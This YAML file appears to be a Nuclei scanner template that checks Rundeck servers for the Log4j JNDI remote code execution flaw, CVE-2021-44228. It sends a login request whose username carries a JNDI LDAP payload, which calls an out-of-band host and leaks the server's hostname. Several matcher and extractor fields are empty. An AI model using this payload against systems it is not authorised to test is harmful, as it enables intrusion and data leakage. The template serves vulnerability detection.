nuclei-templates/http/vulnerabilities/other/rundeck-log4j.yaml

id: rundeck-log4j

info:
  name: Rundeck - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: Rundeck is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://docs.rundeck.com/docs/history/CVEs/log4j.html
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Rundeck"
  tags: cve,cve2021,rce,jndi,log4j,rundeck,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Connection: close
        Referer: {{BaseURL}}/user/login

        j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=admin

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: location
        words:
          - '{{BaseURL}}/user/error'

      - type: regex
        part: interactsh_request
        regex:


    extractors:
      - type: kval
        kval:


      - type: regex
        group: 2
        regex:
        part: interactsh_request

      - type: regex
        group: 1
        regex:
        part: interactsh_request
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